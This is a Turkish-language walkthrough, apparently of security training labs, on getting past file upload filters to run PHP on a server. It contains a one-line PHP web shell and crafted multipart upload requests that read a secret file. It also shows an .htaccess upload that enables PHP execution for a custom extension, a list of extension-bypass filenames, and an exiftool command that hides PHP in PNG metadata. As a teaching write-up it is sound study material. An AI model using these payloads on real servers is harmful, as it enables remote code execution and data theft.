

```
<?php echo system($_GET['command']); ?>
en basit şekilde bir shell örneği kullanımı için shell
/example/exploit.php?command=id
```

Ek bilgi : xdg-mime adında bir toolumuz var bunun kullanımı şu şekilde

xdg-mime query filetype dosyaadı.png

sonuç olarak bize http başlıklarında olan content type verisini verir , yani image/png
eğer bunu mv dosya.png file.zip dönüştürürsek dönüştüğünü anlamak için ise

file --mime-type dosyaadı.png bize gerçek formatını verecektir.

Püf nokta : developer yazılımcı shell'e ulaşmayı önlemek yerine her dosyayı file/avatars/dosya dizine kaydediyordu ama yeni yöntem olarak avatars ve dosya arasında farklı dizinler bulunmakta bu yüzden dosyamızın tam yolunu veremediğimiz için çalıştıramıyoruz. Bunun için file name kısmına requestde name=../dosya.php şeklinde çeviriyoruz hatta ../ bunu da **url formatına** çevirelim. Bu şekilde dosyamızı bulucaktır. Artık.

Püf nokta: bazen yazılımcılar php formatını kabul etmeye bilirlir ve bunu content type kısmında yapsak bile karalisteye aldığı durumda php yüklememizi engellicektir bu durumdan kaçmak için **.php1php10** denenebilir. Veya .shtml

php dosyası apache üzerinden çalıştırılabilir değil ise , onun için repeater da oynamalar yapıcak öncelikle. İnceleyelim orijinal isteği.

```
-----24308378368333429461725746631
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: application/x-php

<?php echo file_get_contents('/home/carlos/secret'); ?>
```

Bizi ilgilendiren request isteği burası.
Content type ve file name kısımlarını değiştirecez.

Adım adım ilerliyalim.

Bu

```
-----24308378368333429461725746631
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: text/plain

AddType application/x-httpd-php .servetcetinkaya
```

web

sitemiz apache server kullanıyor apache serverda php dosyalarını yürütmek çalıştırmak ve kabul etmek için bazı configürasyon

ayarları var bu ayarlar .htaccess içinde bu yüzden oraya file name değiştiriyoruz.

Ve yapacağımız configürasyon ayarımız ise AddType application/x-httpd-php. Ve bu dosyamızın değerinde text/plain yazıyoruz.

Ve bu isteğimizi gönderiyoruz ve artık, dosyamız yüklendi, bu kural dosyasıydı.

2 . **repeater** alanında ise

```
-----24308378368333429461725746631
Content-Disposition: form-data; name="avatar"; filename="
shell.servetcetinkaya"
Content-Type: application/x-httpd-php
```

content type yine değiştirip ve shell.uzantımızı ekliyoruz name kısmından.

```
<?php echo file_get_contents('/home/carlos/secret'); ?>
```

bu alana ise bu sefer karışmıyoruz. Burada txt formatında dosya yüklermiş gibi manipülasyon yapıp aslında çalıştırılabilir bir php dosyası yüklüyoruz ve send dediğimizde dosyamıoz yüklenmiş olacaktır.

Bazı uzantı engellerini aşmak için

.php.jpg
.php%00.jpg
.pHp
.php1
exploit%2Ephp url formatına çevrilebilir.
exploit.p.phpphp bu yöntemde php yazısını silip yani
exploit.p.(php)hp kısmı silinince php olarak uzantımız birleşiyor.

Şimdi bir de dosyanın byte büyüklüğünü ve png kod değerlerinin olup olmadığına bakan bir sistemi nasıl aşacağımıza bakalım.

Exiftool kullanıyoruz bunun için. **Exiftool**da ;

```
exiftool -Comment="<?php  
file_get_contents('/home/carlos/secret'); ?>" sertifika.png -o  
yenishell.php
```

bu kodu yorumlayalım

comment parametresi ile dosyamızda olacak kodumuzu yazıyoruz yani çalışacak kodu.

Dah sonra bir görsel seçiyoruz ve bunu kaydetmesi için **-o** kullanıyoruz ve yeni ismimizi giriyoruz.

```
Exiftool Version Number      : 12.40
File Name                    : yenishell.php
Directory                    : .
File Size                    : 312 KiB
File Modification Date/Time   : 2024:06:01 21:30:58+03:00
File Access Date/Time        : 2024:06:01 21:31:09+03:00
File Inode Change Date/Time   : 2024:06:01 21:30:58+03:00
File Permissions              : -rw-r--r--
File Type                    : PNG
File Type Extension           : png
MIME Type                     : image/png
Image Width                   : 744
Image Height                  : 526
Bit Depth                     : 8
Color Type                    : RGB
Compression                   : Deflate/Inflate
Filter                        : Adaptive
Interlace                     : Noninterlaced
Significant Bits               : 8 8 8
Software                      : gnome-screenshot
Comment                       : <?php file_get_contents('/home/carlos/secret'); ?>
Image Size                    : 744x526
Megapixels                    : 0.391
pentestci@HP-Laptop-15-bs0xx:~/Masaüstü$ sudo exiftool -Comment="<?php echo file_get_contents('/home/carlos/secret'); ?>" sertifika.png -o yenishell2.php
1 image files created
```

Ve artık exiftool bunu **image/png** olarak görüyor cat ile okumaya çalışırsak ise.

```
00UI0vB009G0?00U0H00RU0'0&k0i0 &000C00h[0400hS0L00<000)0h8|0 @00cV0000006 0|0jTP000c0/#M000^0CC<00040k0Y0Z00)00000QVJ00,I000bJ00000)000F000
Q0Qk>00wD000I
V0fh0000Q00J000Vt0*XPq000I0]0_0P+M0 R0!0:
I0][R000000%-0x0
000[)HBP0d000e0iS0-!0_0:00YUj K0tA000"S_%0U0i>X<0000d 0000x00000 0]@000.F0N:-00^00:
00A800E00%0X0wE|0000M000w0X000T0' 'H000
0000dh00k:00b[auS0I0T0P00000zGk{0A000\000[00n0
0Pe00B00|(00B"06=20D0D-h,%0c00D0006",scA000PH00n00A00S00`000FW00#040r0_100000000F0000j00000000
000z5000uS00\0rp-00000000!#*M)000(6B;[@00CHMlTk0X0
0010n0G40
00'60\}b$ 0Bxi@002+000k0B000R0d'00S00h00v40AC$0Trsh00e?0r00f0B00t]d
00I0F-u0|0w0I0+000J00t:000 iI'0
'EQI0U3000)0004?0w0M0KS>0+l{00#v0000VSR'0
0000!
00E00K
0
>0(0H00000Ms**000Äx0{S00005
0i00Zd0000WRjZ0700v0h00Pd'0X0I0z-00xi000y00000000Pne000+000:7T0
000BPR00A&0?00000'IUhm;00J0 50b/N0T0A000T0Esh0y B00H 00Pxt00N0q
+000,000<C\+S0#;HRR0f00vU0=a00 0J@00S00p[0zh&*0,0Q0wj0f.000900s0\筵000w0<So0t[00n
F0/00,0000?X0000I"000<H0!H04w0i0V0Tvmi0600[0!000d0e^0B0N30)筵b)d0|06F50R]0>39o00d0tA000+000^J008N0Mzvgr0E000c0Q筵-%F0
j00V0]00n;j04S0TbDbi0H000\H00h0h0P0
000y0K0E0L00005i0000Z0h020000* rH`l0000:J0=0T0Q90v0V*
```

Resim dosyasını gibi formatta kodlanmış.
Ve bu yöntemle server tabanlı güvenliği bypass ettik.